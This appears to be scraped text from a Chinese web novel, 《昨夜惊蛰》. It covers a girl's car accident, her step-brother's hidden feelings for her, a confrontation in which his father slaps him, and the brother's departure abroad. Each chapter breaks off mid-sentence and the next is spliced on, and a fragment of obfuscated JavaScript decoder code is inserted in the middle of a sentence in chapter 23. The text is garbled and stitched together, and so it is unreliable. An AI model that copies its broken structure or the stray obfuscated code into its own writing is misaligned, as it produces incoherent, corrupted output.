半晌,他蓦地起身从床上坐了起来,看着窗外忽闪的光亮皱了皱眉,拿着手边满杯的水倒在洗手池,推门出去了。 程司远脚下的步子很大,走廊里也没开着灯,昏暗的环境下他并没有注意到脚下有什么。只是拿着杯子去客厅转了一圈,发现没人又空着杯子回来了。 那天的雨淅淅沥沥的下了一夜,直到天际出现一层橙黄色淡淡的光亮,这才意犹未尽地停了下来。 早晨空气中还伴着雨后的青草香,直到程司远起床上学,推开门才发现自己门口还放着东西。他看着那两样东西发了好一会儿呆,到最后快迟到了,才匆匆把它们装进书包出门了。 昨晚周依睡得晚,加上雷声鸣到后半夜才消停,自然也没能睡得踏实,以至于早上的铃声,响了好几遍她都没能听见。 之后还是那专门属于学生才有的“时间危机感”,才忽得让她从床上惊醒,最后七荤八素地洗了脸,连饭都没吃就跑去上学了,还差点迟到。 于是,分别踏着点进教室的二人组,这一天过的也都是浑浑噩噩,看起来像是当了一夜的贼。 下午课间,李佩佩几个跨步越过一排桌子,来到周依身边问:“依依,刚刚上课老师都瞄你好几眼了,今天一天你不是在补觉就是在补觉,昨晚干嘛了?” 周依艰难地从桌子上爬起来,揉了揉自己的脑袋试图让自己清醒一点,答非所问道:“佩佩,我一会儿放学有事得先走,就不跟你一起了啊。” 说完,就趴在桌子上又睡了。 李佩佩咧了咧嘴,不由暗道,为了考上一中都这么拼嘛,觉都不睡了? 她心里虽然不理解,但嘴上还是关心道:“你也别太累了,身体要紧。” 周依头也不抬,对着李佩佩挥了挥手,示意她放心。 放学铃声一响,周依活像是被按了重新启动键,瞬间满血复活,拿着书包就往外冲。 “诶诶,你慢点跑,当心点。”李佩佩冲着周依奔跑的身影喊。 “放心,没事。” 等李佩佩再想开口时,就发现周依已经消失在楼梯口了,连衣角都不见。不禁皱眉不解,低声喃喃道:“这两天怎么都这么急……” 昨晚周依趁着自己没睡着的时候,把脑海里见过的店都盘了一遍,终于在意识消散前,想起了学校不远处的一个商场里,好像就有一家手工店,还是她当时和李佩佩玩的时候遇到的。 她记得很清楚那家店占面不大,但装修很精致,玲琅满目的手工艺品让她们差点看乱了眼。 于是,周依一放学就跑了过来,向店员问道:“姐姐,这里可以修相框嘛?木雕的那种,昨天不小心摔坏了。” 那店员小姐也很热情,上前回应道:“可以修,你有带来吗?具体摔成什么样、要怎么修,我也得先看看再说。” 周依有一瞬的尴尬,讪笑两声道:“不好意思啊姐姐,我没带来,不过——” 她顿了一下,伸手拿过手边的一个木质相框,边说边比划道:“就是这个角摔裂了,然后上面这有点歪。哦、还有这个玻璃,玻璃也碎了。” 她说完,又小心翼翼地补充了一句,问:“这样……还能修吗?” 店员小姐听着她的描述皱眉沉思了一会儿,半晌,才慢慢开口道:“这是坏的挺严重的,可这种木质相框应该不容易摔坏才对,怎么能摔成这样?” 周依的脸垮了下来,轻咬着嘴唇还没来得及说话,就又听店员小姐道:“不过没关系,也不是完全不能修。这样、你到时候把它带来,能修好我就尽量修好,怎么样?” 虽然这对话堪称大喘气,但周依还是如沐春风,脸上阴郁一扫而过。不管怎么样能修就是好,哪怕到时候程司远不理人,她求也得把他求来。 “可以,没问题。我到时候一定把它带来,谢谢姐姐。”她说。 店员小姐笑了一下道:“那还需要点什么吗?我们店里也可以手工制作相框,你可以看看。” 她说着就带周依走到手工区,满脸笑容道:“相框坏了里面照片还是要放的,我们家可以做这种铁丝艺术的,木刻的也是可以,还有现在最火的奶油胶的,你看看有喜欢的嘛。” 不得不说这店员小姐是真的会做生意,说她趁火打劫好像有点过分,但说她雪中送炭好像又不太准确。 可反正不管怎么样,病急乱投医的周依觉得这姐姐说得极对。 相框没了照片得放啊,那现在程司远不就正缺一个 21.长路 《昨夜惊蛰》全本免费阅读 程毅的声音在耳边轰然炸开:“依依她出车祸了。” 程司远心里骤然一空,全身的血液好似在这一刻瞬间被抽空。他踉跄一步,手中原本扶着的车子也因失去的支撑“啪嗒”摔落在地。 “喂?司远?喂?你在听吗?不管怎么样先来市医院,我跟你张阿姨都在路上……” 电话那端还在不断传来声音,但程司远却听不太真,只是脑子一直反反复复地回荡着一句话“她出车祸了”。 他不敢相信自己听到的,怎么会?她这个时间应该—— “她应该已经家了,怎么可能出车祸,你是接到诈骗电话了吧。”程司远说得十分笃定,但他的声音却带着些许颤抖,像是在哽咽。 手机那边传来程毅叹息声:“唉,总之你先来吧,医生说车祸很严重,不知道她……” 程毅还没说完又是一声叹气,随后就传来张舒欣若有若无的哭声。 程司远大脑一片空白,麻木的感觉从大脑传到四肢百骸。这次他没有犹豫,一下挂了电话,转身就向医院跑去。 可刚跑出几米又猛然刹住,折返回来,扶起倒在地上的车,跨坐而上,一路飞驰。 不知道她什么? 程司远的心脏好像被一把无形的刀一下一下的剜着,痛的他呼吸急促,湿了眼眶。他努力地眨着眼,想把眼前的路看清一点,好能再骑快一点,去拆穿这可笑的骗局。 肯定是假的,昨天自己发脾气,今天就撺掇着合起伙来骗我,小孩儿就是幼稚。一定是。 他心里这样想又觉鼻尖发酸,嘴里也泛出丝丝苦意。他缓缓深呼吸一口气,紧咬牙关,脚下用力,将车骑的飞快。 …… 抢救室外,程毅左右踱着步,时不时向抢救室内张望,脸色十分难看。张舒欣坐在椅子上痛哭不止,怀里还抱着什么东西。 “爸!爸!依依、依依她怎么样了。” 忽然,楼道转角处传来气喘吁吁的声音。 两人随声望去,就看到程司远一路跑来,弯腰扶着墙围,大口喘着粗气,。他看向张舒欣问道:“阿姨,依依她、她怎么样了?” 张舒欣用手擦去脸上的泪水,忍着喉咙里的哭腔说:“依依她还在抢救,医生说车祸很严重,依依她……” 她话没说完,却是再也没办法继续说下去了,哽咽声从喉头不断传出,盖过了一切。 程毅走到张舒欣身边,伸手拍着她的后背,轻声安慰道:“没事,没那么严重,医生都是吓唬人的。依依那孩子坚强,一定没事,说不定马上就出来了,放心。” “对、她一定没事,我相信她。没事,一定没事。” 程司远也出声安慰,但说到最后却又好像在低喃自语,嘴里不停念叨着“没事、没事的,一定没事的。” “司远你怎么哭了?这身上又是怎么回事,怎么这么多灰?” 程毅看到程司远这幅模样略微皱眉,他刚刚站的远没能看清,这走近了才发现程司远满脸泪水,身上也灰扑扑的,好像是摔了跤,又好像是刚和别人打了架。 程司远闻言却愣了愣,疑惑道:“我哭了嘛?我没——” 他话说了一半,手指触及脸颊,这才发现自己不知何时已然泪流满面。没哭的字眼,却是再也无法说出口。 他苦笑一声叹了口气,伸手擦去脸上的泪水,说:“嗯,刚刚来的路上骑太快,不小心摔了。” 张舒欣心里又是一紧,慌忙拉住程司远左右检查。或许是哭久了的缘故,她的声音显得有些沙哑,说:“你没事吧,有没有摔倒哪里,有没有哪里不舒服?还是哪里疼?要不要去检查一下,现在依依出事了,你要是再出事,我跟你爸爸该怎么办啊。” “阿姨你放心,我没事。”程司远转头看着急救室道:“依依也不会有事,我们等她出来。” 急救室的门窗内依旧没有动静,空荡荡的走廊上也只站着他们三人。 程毅扶着张舒欣站立一旁,程司远则是站在急救室门前,眼睛透过玻璃,紧紧地盯着手术室的大门。 一时间,空气凝结,静的骇人。 片刻,张舒欣的声音突然响起:“司远,这个你拿着。” 她的声略显突兀,引得程司远和程毅都纷纷向她手中看去。 等他们看清,程毅就摇头叹了声气,程司远也是呼吸一滞,想要伸出的手停在半空,呆立在原地没有动作。 张舒欣手里拿着的是一个透盒子,盒子上面沾染了不少泥土和血渍,里面的东西看的不是很真切,但隐隐约约能分辨出,里面装着的是一个彩色的相框。 程司远呆愣愣看着那个盒子,心里却已了然。 所以她才没回家嘛。 程司远努力压下心中的酸涩,但眼中的雾气却是越来越重,他深吸一口气,轻颤着手指从张舒欣手中接过。 他并没有着急打开,而是把盒子拿在手里轻轻用袖子擦拭着,眼中的雾气在遇到那干涸的血迹时,瞬间凝结成水珠,争先恐后的从眼中涌出,落在透明盒字上,与泥土和血迹一起被慢慢擦去。 他的动作很轻,就好像擦的不是盒子,而是倒在血泊中周依痛苦的脸颊。 张舒欣看到他这样想要上前说些什么,可还没来得及开口,就看见手术室的门被打开了。 “请问谁是病人家属?”护士推开门询问。 “我是。” 三人均是一喜,同时回道。 程司远迫切上前一步,抓住护士的胳膊说:“都是、我们都是家属。周依她怎么样,还好吗,手术成功吗?” 张舒欣和程毅也是一脸期待看着护士,迫切的想要知道答案。 护士被程司远吓了一跳,但很快又恢复神色,轻声回复道:“手术很顺利,患者目前还在昏迷,一会儿出来了还要再观察观察。” 三人听到这话均是长舒了一口气,提着的心也微微放下几分。 程司远回过神来,意识到了自己的失态,连忙抽回手道:“抱歉,我一时情急,真是不好意思。” “没关系,人之常情可以理解。” 护士小姐说完,急救室的门就再次被打开,病床被簇拥着缓缓推来。 程司远抬头张望,张舒欣也是翘首以盼,随着距离的拉近,病床上的人越来越清晰—— 周依躺在病床上,眉头紧簇双眼微闭,面容苍白的没有一丝血色,几处的擦伤更是尤为突出。 程司远心脏像是被人狠狠掐了一把,不由自主向前踱步。他想要快点触碰到病床上的人、想要抚平那人的眉心、想要减轻那人的痛苦、想要拥着她,对她说,对不起。 可他刚走了几步,便被护士拦下道:“不好意思,病人还需要观察一段时间,稍后等病人情况稳定了会通知家属探望,还请您稍后等待。” “很快,就一下。”程司远道。 “不好意思,请您谅解。” “我——” 程司远还想继续说什么,却程毅一把拉胳膊,强声打断道:“司远、可以了,别胡闹,听护士的。” 他说完又转头对护士道:“不好意思啊,给您添麻烦了。” 程司远被拉着立在原处,抿唇不再做声。 程毅看他不反抗便也松了手,张舒欣再也忍耐不住,上前低声询问道:“护士,麻烦问一下,我女儿需要观察多久,会不会有什么后遗症之类,需要我们做些什么吗?” “不麻烦,我正要和你们说这件事,这次车祸主要伤在左半身,左手手腕错位,左锁骨骨折,身上多处擦伤。”护士道:“好在手术很成功并不会有什么后遗症,大概需要观察一两个小时就可以了,到时候会通知你们的,放心。” 她拿着手上的病例单翻动了几下,继续说:“之后的事等病人醒后我再一一告知,现在就不多赘述了。 这下张舒欣才彻底松了口气,面容也稍加温和,淡去了刚刚的愁容,连声对护士道谢。 随后,她和程毅便被前来询问的交警叫走,而程司远则是留了下来,在病房门口守着。 医院长廊的椅子上,他怀里抱着那个透明盒子一动不动,眼眶发红略显狼狈,不知道在想些什么。 不知道过了多久,病房里走出来一位护士,程司远几乎是下意识,起身问道:“护士,她醒了吗,还有危险吗?” 他说完才又后知后觉,补充道:“我是周依的家属。” 护士拿着病历单,眼睛在上面扫视一圈,说:“周依是吗?她目前情况还算稳定,但还没有苏醒,您可以进去探望,记得小声一点。” 程司远先是松了一口气,随即又被提到嗓子眼,半晌他才慢慢道:“好,谢谢护士,我知道了。” 他踱到病门前,可就在准备推门时,却又忽然顿住了。 这个场景程司远太过熟悉了,不管是在手术门口的等待,还是焦急地询问病况,就连现在转动病房把手的一瞬,他都觉得跟自己的梦,一般无二。 他握在门把上的手轻轻颤抖,怕一推开门就会看到和自己梦境一样的结尾。但如果是梦就好了,至少他可以醒来,周依也不是真的受伤。 程司远深吸一口气,努力把乱七八糟的情绪压在心底,手腕用力,“吱呀”一声。 顿时,那浓郁的消毒水味就直冲过来,让他不禁皱起了眉。脑海里蓦地浮现出周依一只手捏着鼻子,另一只手推搡着自己,让自己带她离开的画面。 这小孩儿从小就不喜欢这个味道,医院更是一秒都不想多留,这个时候她肯定该说,“哥 22.对峙 《昨夜惊蛰》全本免费阅读 程司远匆忙转头,就见程毅手里提着饭盒咬牙切齿站在病房门口,他被吓了一跳,声音也突然变得支吾起来:“爸、我——” “闭嘴,别说了!”程毅低声喝道。 他快步上前扫了一眼还未清醒的周依,压着声音对程司远说道:“你跟我出来。” 程司远惊魂未定,他不知道他现在是什么感觉。他痛快于自己终于把憋在心里好久的话倾诉出来,同时又担心自己这份无法安放的心意,会不会毁了眼前看似平静的和谐。 他反复咀嚼着内心,不断问自己,这就是你想要的结果吗?这就是你想要的答案吗? 理不清的情愫总是饶人心神,拿不起,放不下,懵懂的少年更是如此。 程司远闭眼深吸了一口气,不知过了多久,他睁眼看着病床上熟睡周依,伸手抚上她的头,轻声道:“我一会儿就回来。” 医院走廊尽头的楼梯间里,程毅呼吸急促,一手提着饭盒,另一手握紧成拳,双目猩红紧盯着向自己走来的身影,恨不得将它撕碎揉团。 “爸——” “啪!” 程司远刚开口话还没说全,就被程毅一巴掌打得住了嘴。他踉跄着后退一步,紧抿着唇垂头不语。 楼梯间内一时静的骇人,直到程毅那低沉而又带着怒火的声音悄然响起:“你知道吧,她是你妹妹。” “我知道。” 程司远眼眸转向一边,声音冷冷的听不出来半点儿情绪。 霎间,怒火从齿间溢出,程毅几近咆哮道:“知道?我看你不知道!你们是兄妹!兄妹!你说喜欢,你怎么喜欢?你拿什么喜欢?” 程司远却对这灼热的怒火充耳不闻,只是简单回复道:“我们没有血缘关系。” “那又怎样?只要我是你爸,张舒欣就是你妈,周依就是你妹妹,也只能是你妹妹!” 听到这,程司远淡定的表情上出现了一丝裂缝,他猛地抬头对上程毅的眼睛,厉声道:“你们没结婚,她不是我妈!我妈早死了,你休想让我认她!” “我们没结婚,我们没结婚是因为什么?当初要不是你把苏晴的死亡证明藏起来,我跟张舒欣能领不了证?” “你有什么资格!”程司远道。 程毅深吸了一口气,努力抑制胸口波涛汹涌的怒意,继续道:“要不是当初张舒欣心软,怕你接受不了,你觉得我没那张纸就真啥也干不了?当初那场急匆匆的婚礼你以为是因为什么?” 程司远抿唇不语,只是眼神死死盯着他。 “我最后跟你说一遍,周依是你妹妹,其余的你想都别想。” “不可能。” “你!” 程毅怒不可遏,伸手就要再给程司远一巴掌。他也没有闪躲,就立在原地看着程毅的手挥向自己。 可终究虎毒不食子,程毅挥出去的手停在半空,挣扎了片刻又徒然垂手放弃。 “好,既然这样,明天我就让人订一张去国外的机票,你走吧。”他说。 程司远冷笑道:“你赶我走?” 程毅无奈叹了口气,努力平稳自己的情绪:“童医生是个不容错过的老师,去了那边好好学。” “我昨晚跟他说了,我不去。”程司远道:“以我的成绩完全可以在国内考一个很好的医学院,不比他的差。” 程毅见他软硬不吃,刚压制住的怒火再次翻涌上来,严声道:“你说不去就不去?你以为我在跟你商量吗?我告诉你,你不去,等周依醒了我送她去!” “你威胁我?” 程毅一把抓住程司远的肩膀,说:“程司远、你清醒一点!就算我不威胁你,你跟她真能在一起吗?你拿什么照顾她,你有什么能力养她,别人会怎么说你们,她又喜欢你吗?” “我——” 程毅力气很大,但程司远依旧站得笔直,只是那口中的话就像千斤石万斤鼎般,压得他喘息不能,脸色白了白却是无力反驳。 都说知子莫若父,事实确实也是如此。程毅太明白程司远了,他知道说什么最重,点哪里最痛。 程司远平时看起来冷漠话少,把人都拒之千里之外,但这不代表他没话,没感情。他只是默默把话说在心里,就像把喜欢的人,偷偷藏在心里。 他穿了一层又一层的壳去保护他心中秘密,如今壳碎了,他才恍然发现,原来这么久以来他所认为的冷静理智,只不过是一味的躲藏和愚蠢的自以为是。 这世上没有柏拉图的理想国,乌托邦也根本不存在。他就像小丑一样自娱自乐演着一切。掩耳盗铃,滑稽可笑。 不知过了多久,程毅才不忍心道:“司远,我是你爸爸,我比谁都想让你好。我知道你现在这个年龄容易冲动,可感情的事不能草率,况且周依现在也还小,分开……对谁都好。” 程司远静静地听着,他别过脸,将痛苦的神情悄悄藏匿起来,不再看向程毅。 “今天的事我全当没看见,她们……我不会多说什么,剩下的你自己好好想想吧。” 程毅说完拍了拍程司远的肩膀,离开了。 静谧的楼梯间里只留下程司远一个人,月光透过楼梯间的窗户照在他身上。可月光终是比不上阳光来的温暖,程司远只觉得自己从心凉到了脚底。 他站立半晌,突然挥拳砸向墙壁,随后又像泄了气的皮球,依靠着墙面滑落在地,眼神空洞,平素里的坦然与从容也消失的无影无踪。 病房内,张舒欣正拿着毛巾给周依擦拭胳膊,见程毅手里提着饭盒进来,开口说道:“你去买饭怎么现在才回——嗯?你怎么了?脸色怎么这么差。” “啊?有吗?没有吧,可能是今天太累了。”程毅掩饰道:“刚刚不知道食堂在哪,找了半天才找到,你快吃吧,一会儿该凉了。” 他走到病床旁将饭盒放到旁边的柜子上,拿出筷子递给张舒欣。 张舒欣摇了摇头,叹气道:“不了,我没胃口。” 她垂眸看着自己手里的毛巾,继续道:“也不知道依依什么时候醒,你说,这好好的怎么就突然出车祸了……” 她说到最后声音又哽咽起来,程毅见事不好,急忙放下手中的筷子,连声安慰道:“哎呀,你怎么又哭了,这不是好好的嘛。医生说了,依依的手术很成功,说不定一会儿就醒了。” 他拿过张舒欣手里的毛巾,拉过椅子让她坐下,继续道:“再说了,谁长大还没个小病小灾的。咱们依依啊,是先苦后甜,你就别难受了,要是一会儿依依醒了,看你这幅样子该笑话你了。” 在程毅的攻势下张舒欣总算是安心不少,但依旧是满脸愁容。 “要是依依现在能醒过来,笑话我就笑话了。”张舒欣问:“对了,司远呢?我刚刚来的时候他就不在,他也没跟你在一起吗?” 程毅心里一跳,脸上的肌肉也忍不住抽搐,说:“他啊,知道自己做错了,事面壁思过呢。” 张舒皱了皱眉头,说:“程毅,我知道有的事我不应该多说什么,但你对司远是不是太严格了点。你们要不什么时候沟通一下?交流交流感情。” 她看了看躺在床上的周依,又说:“咱们当初公司刚起步的时候,天天都忙的焦头烂额,家也回不了几次。依依那时候也还小,都是司远在照顾,我是感激他的。虽然他一直以来都是叫我阿姨,但我真心把他当成亲生儿子来看待。” 听到她这么说,程毅心里更不是滋味,他本身就觉得程司远的所为事错的离谱。可现在这么算下来,促成这大错的罪魁祸首居然是自己。 他心中的亏欠是越来越深,伸手抚上张舒欣的肩膀,说:“我知道,你对他的好我们都看在眼里。再说了我对他严厉,那不也是想让他早日有独当一面的能力嘛。” 他说着顿了一下,叹了口气继续道:“司远那孩子……太固执。他妈妈走的早,对他来说是道坎,你别怪他,是我委屈你了。” 张舒欣哪能不明白,抚上程毅搭在自己肩上的手,摇头道:“我知道,我没有怪他。但司远说到底也才十八,再过几年,等他再长大点,到时候自然而然也能独当一面,你没必要拔苗助长啊。我怕你这样……到时候他怪你。” 男女终有别。在程毅心里,他认为男人就应该顶天立地,有本事、有能力才是能立于世间的道理,才有说话的权利。至于程司远会不会怪自己,他其实并没有想过,或者说他觉得在程司远有独当一面的能力时候,就会明白自己的一片苦心。 程毅不想再继续这样的话题,有意转移道:“不会不会,我是他爸,他能怎么怪我。倒是你,赶紧吃饭吧,再不吃就真凉了。” 他就走到柜子边,重新拿起筷子塞到张舒欣手里。 “哎,你——” “快吃吧,快吃吧,别说话了,依依还着睡觉呢,咱们保持安静。” 张舒欣张了张嘴想要再说些什么,但看到床上“熟睡”的周依,就又想着来日方长有的是时间,便就住了嘴。她瞪了程毅一眼,刚拿着筷子准备随便吃几口敷衍一下。 可谁知房门这时候,突然“咔哒”一声被推开了。 两人同时询声望去,就见程司远远远站在门口,也没有要进来的意思。 张舒欣连忙放下手 23.甜杏 是夜。 程司远疲惫地站在门前,像是刚一口气跑完五公里,这会儿突然卸了力,就连钥匙也没办法拿稳,尝试了好几次才终于把门打开打开。 房间里漆黑一片,天空中耀眼的星辰也没能将它照亮。客厅也好,厨房也罢,程司远原本闭着眼都能走个遍的路,现在哪怕抬手去按玄关处的开关,都能被绊地踉跄好几下。 他在门口站了好久,没听到那句本该有的“欢迎回家”,也没看见那抹熟悉的身影。家里又只剩他一个人了。 他拿着书包走回房间,下意识随手扔在桌上,可刚抬手,却愣住了。 昨晚他整个人都稀里糊涂的,前半夜拿着照片跟一张纸不知道看了多久,后半夜迷迷糊糊躺在床上又是一连做了好几个乱七八糟的梦。 作业没写,桌子也没用,所以—— 程司远看着纸巾上的两个杏子,拿起一旁的便利贴,上面写: 哥哥,甜杏洗过了,甜的。漫画是最新一期的,别买重了。 所以,这是她昨天留给我的。 程司远觉得鼻尖酸涩,停留在便利贴上的视线也逐渐模糊起来,心中苦闷不断蔓延,从心口到四肢。 他将纸条放在一边,刚拿起一个杏子准备吃,却发现手感过于软烂,轻轻将掰开,就发现里面蛀了虫。 虫子最是聪明,它喜欢果糖,知道那个杏子甜哪个杏子不甜。等瞅准了,它就住进去,在安乐窝里尽情受用,直到现在被人发现,才闷着头仓皇逃窜,明白安乐窝原来也不安乐。 同样,杏子也不能吃了。 程司远觉得是自己运气不好,将手中的放下,转手就拿了另一个。 这个不软,全身结结实实的,表皮也很完好,就算隔了夜也没有丝毫氧化的意思。 程司远用手将它掰开,果肉撕裂,分离时还粘了不少在果核上。 他垂眸看着手里,微微皱眉。他喜欢干干净净果核分离的杏,那样不仅肉吃起来甜,还不脏手,关键核也干净利落,有时候遇见好看的还能拿在手里把玩,像个艺术品。 这样打断骨头连着筋的,他不喜欢。 程司远把掰开的一半放在嘴里,还没嚼两下,他就被酸的眯起了眼,哪怕是口中的苦涩,这会儿也被酸味盖了个干净。果肉翻拌,汁水从舌尖流向胃肠,又慢慢溢到心头。 真的好酸。 但他好像还没吃够,下一秒就把剩下半个连着核一起塞嘴里,咀嚼着,哪怕被那杏酸的睫毛都在颤抖,他还是没停。只是疯狂在这酸杏里寻找到甜意,哪怕只有一丝。 可最后,杏吃完了,酸就留了满嘴。 程司远不信邪,他认定肉是酸的,核一定是甜的。 他奋力咬破果核,却猛然发现里面是苦的。不仅苦还涩,一点都不甜。 小孩儿,你骗人了。 那晚,程司远拿着满盒的纸条,一张一张看了好久。最后,他将手边的便利贴也放了进去,还是小心翼翼的,跟之前一样。 他没有带走什么,只是简单拿了两件衣服,一个铁盒、一本漫画。 天边翻着鱼肚白,将亮未亮时往往最美。周依挣扎着睁开双眼,她依稀记得自己做好相框就急急忙忙往家跑,之后好像在过马路,一个车闯了红灯,然后—— “嘶——” 轻微的动作扯动了身上的伤口,惹得她倒吸一口冷气。 躺在一旁陪护床上的张舒欣本身就担心的睡不踏实,这听到床边有声音,大喜过望急忙起身关心道:“依依、依依你醒了?” “妈妈,我、咳、咳咳、” 周依喉头干涩止不住的咳嗽,声音嘶哑,眼眶也微微泛红。 “好好好,先别说话了,躺好、先躺好,妈妈在呢,妈妈在。” 张舒欣的声音变得哽咽起来,她在一旁倒了杯水,小心翼翼将水杯凑到周依嘴边,说:“来,喝水,小心。” 周依浅浅抿了一口,甘泉入喉瞬间舒服不少,但身上的痛楚还是让她眉头紧簇。 张舒欣看了心疼不已,关心道:“是伤口痛吗?我去叫医生,你等一下妈妈。” “不用——” 周依刚开口还没来及叫住,病房里已然不见对方的身影了。 她无奈之下只好放弃,躺在病床上望着天花板,总觉得自己脑袋里乱糟糟的,记忆也是断断续续。 突然,她眼睛一亮,像突然想到什么,挣扎着又要从床上起来。可刚用力,胳膊一软又重新跌回在床上,伤口再次被撕扯,疼的她冷汗直冒。 “啊,嘶——” 这时,张舒欣带着医生也走了进来,她吓了一跳,疾步走上前劝阻道:“依依别乱动、快躺下,你身上麻醉刚退,现在肯定疼的厉害,快躺好。” 随后,又转头对着医生说:“医生您快来瞧瞧,我女儿刚醒,您来看看还有什么不妥的嘛。” 周依刚想开口问什么,但见医生走来,便又住了嘴。 片刻后,医生检查完确定周依已无大碍,这才让张舒欣松了一口气。但她还是忍不住,小心向医生询问道:“医生啊,我女儿现在疼的厉害,有没有什么办法能缓解一下?” 医生微笑道:“疼很正常,一会儿我会让护士在点滴里添加点止疼的,等药效起作用就会好很多,也能再睡会儿。” 张舒连声道谢,亲自将医生送出病房,又看着护士把止疼药添加到周依的输液袋里,这才彻底安心下来。 周依看她得了闲,这才重新开口道:“妈妈,我的盒子呢,你见我的盒子没?还有哥哥,他来了吗,他在哪?还有程叔叔,他——” 一连串问题问的张舒欣直犯晕,立即开口打断道:“好了,好了,别问了。” 她将周依盖着的被子往上裹了裹,柔声道:你现在呀,什么心不要操,什么事也都不要管,你要做的就是乖乖睡觉,知道吗?” 张舒欣说着又伸手摸了摸她的额头,将碎发挽在一旁,宠溺地笑了笑,继续道;“快睡吧,睡醒就不疼了。” 周依还想开口询问,可看到张舒欣那疲惫的面容心里又是自责不已。最终,还是点点头,闭上眼,禁了声。 不知道是不是因为止疼药的缘故,她这一觉睡得格外沉,还做了一个很甜很美的梦,梦到自己将相框送给了程司远,梦到他接受了自己的道歉,还梦到了自己和他一起放学、一起做饭,还和之前一样。 等周依再次醒来已经是第二天了,张舒欣提着饭盒进来,顺便把病床摇起来,说:“我去医院食堂买了点粥,看看,还有你最爱吃的奶黄包。” 她拿了个奶黄包递到周依面前,微笑道:“来,尝尝,看看有没有我做的好吃。” 周依笑着伸手接过,轻咬了一口,评价道:“好吃,不过——” 她笑了笑,继续道:“没有妈妈做的好吃。尤其是我第一次吃的,那个奶黄包在我心里简直是第一名!” 说着,还不忘用拿着奶黄包的手,在空中给张舒欣比了一个大大的赞。 可就在周依伸手在空中左右摇晃时,她突然眼睛一顿,发现自己手腕上,不知什么时候竟多了个小狗皮筋。 她垂眸看着,又转头看向张舒欣,问:“妈妈,这是你给我的?我睡着的时候?” 张舒欣正被夸的合不拢嘴,听到问自己便又止住了笑,抬眼看着她手上的皮筋,摇头皱眉道:“不是,昨天我帮你擦胳膊的时候它就已经在了。这不是你的吗?” 周依摇了摇头,看着腕上的皮筋愣愣出神。她连头发都不会扎,怎么可能是自己的。 而且,这小狗……怎么有点眼熟? 等等! 周依瞳孔紧缩,皮筋的事瞬间被抛在脑后,她猛地起身,忘记自己身上还有伤口,这一用力又是一阵刺痛。 “嘶——” 周依倒吸一口凉气。张舒欣急忙伸手去扶,怒声道:“你干什么?别乱动,你身上还有伤,赶紧躺好!” 周依不顾上其他,眼神慌乱地看向病床周围,焦急道:“妈妈你有见我的盒子吗?就是一个透明的盒子,我手上拿——” 她说到一半突然顿住,又觉得不对,皱了皱眉,重新补充道:“也不一定在我手上,哎呀,反正就是一个透明的盒子,妈妈你有见吗?它在哪?” 张舒欣见她一副着急忙慌的样子,还以为是什么天塌下的大事,听到是找盒子,无奈看了她一眼,伸手把她按回床上,说:“见了见了,先躺好吧,你呀!” 既然见了,那周依哪还能按耐得住,立马睁大眼睛,急迫道:“它在哪?它怎么样了,有没有摔坏啊?” 要是摔坏了还怎么跟程司远道歉啊。 她心里暗想。 张舒欣将被子重新盖好,没有直接说明那盒子的下落,而是叹了口气说:“唉,你昨天出车祸,我跟你程叔叔还是医生打电话才知道,等我们刚到医院的时候,你就已经被拉进急诊室了。” 她的声音逐渐哽咽起来,顿了顿继续说:“医生把那盒子给了我,说是你手里一直拿着。可你知道不知道那盒子上面全是血污,你说你要是真出什么事,要是、要是你有个三长两短,我、我可怎么办啊。” “妈妈。” 周依听着张舒欣的哽咽声也跟着红了眼眶,心里更是愧疚不已,说话的声音也带了几分哽咽。 张舒欣长舒了一口气,伸手抚上她的手,轻轻拍着道:“好在没事,之后你程叔叔给司远打了电话,他也赶了过来,那盒子就给他了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这周依那还听到进去,她知道张舒欣从来都不会骗自己的,可现在…… 她红着眼眶,抓着张舒欣的胳膊急声道:“妈妈你告诉我,到底怎么了,发生什么事了?他们、他们去哪了?咳、咳咳、嘶——” 周依情绪激动起来引来一阵咳嗽,随后不小心扯到伤口,又是倒吸一口冷气。 张舒欣手忙脚乱,拍她着后背,心疼道:“你别动、别动,没发生什么,都好好的,他们就是有事去忙了。” 周依喘歇了一会,眼泪在眼眶里打着转,强忍着身上的疼痛,继续追问道:“他们在忙什么,为什么不告诉我?” 纸终究是保不住火,张舒欣眼看就要瞒不下去了,咬了咬嘴唇,犹豫道:“就是……司远他出国了。唉,我本打算是等你出院了再告诉你,没真想瞒着。” 一霎间,周依好似被晴天霹雳当头一击,又好像被人从头到脚浇了一盆凉水,全身麻木。她简直不敢相信自己的耳朵,嘴里支吾着:“怎、怎么可能,不可能……不可能,哥哥怎么突然就出国了?假的、我不信,我不信!” 她说到最后,眼泪止不住的从眼眶里奔涌而出。 张舒欣还没来得及再说话,就见周依突然一把掀开被子,也顾不身上的伤痛,翻身就要下床,嘴里还不停的念叨着:“我不信、不可能,我去找他,我要去问清楚。” 张舒欣吓了一跳,急忙上前搀扶,用力将她捆入怀中,声音哽咽道:“依依、依依你别激动,你先回去躺好,乖、听话,听妈妈的话。” 周依心里绷着的最后一根弦,随着这一抱,彻底崩断。 她趴在张舒欣怀里抽噎不止道,嚎啕道:“妈妈,哥哥为什么走,是因为我嘛?是我因为惹他不高兴所以要走嘛?我错了、我真的错了,我不该动他的东西。妈、妈妈你跟他说,你让他回来,我不想让他走。我错了、都是我的错……” 忏悔的声音回荡在空旷的病房里,泪水也浸湿了张舒欣的衣衫。她鼻尖发酸,颤抖着声音连连安抚道:“依依乖、不哭,这不是你的错,跟你没关系知道嘛。” “司远他没怪你,这次出国也是因为要去上学,你也知道他想学医、想当医生对不对?等他学会了、毕业了,就回来了,不是你的错,跟你没关系。” 张舒欣的声音还在继续,但周依却是听不进去,也不敢再信了。她扑在张舒欣怀里哭着疯狂摇头,身上传来的剧痛让她止不住的颤抖,心脏也好像被千万把利刃分割着,痛得她喘不过来气。 或许是因为哭的太厉害,又引得她发出一阵阵剧烈的咳嗽,蜷缩着身体哽咽道:“咳咳、咳、为什么要走,为什么不肯等我醒来,连见一面都不肯、咳咳、妈妈,咳咳咳、我疼,我好疼,妈妈我——” 周依的声音戛然而止,意识被一层薄雾所笼罩,眼睛也逐渐失了焦,整个人就像突然掉入了一个无穷的深渊,无尽的黑洞。 24.习惯 张舒欣见怀里突然没了音,心里骤然一紧,急忙低头查看,就见周依身体瘫软,晕了过去。 “依依?依依醒醒,醒醒啊依依、依依……” 她换喊着、晃动着,可怀中的人依旧是没反应。 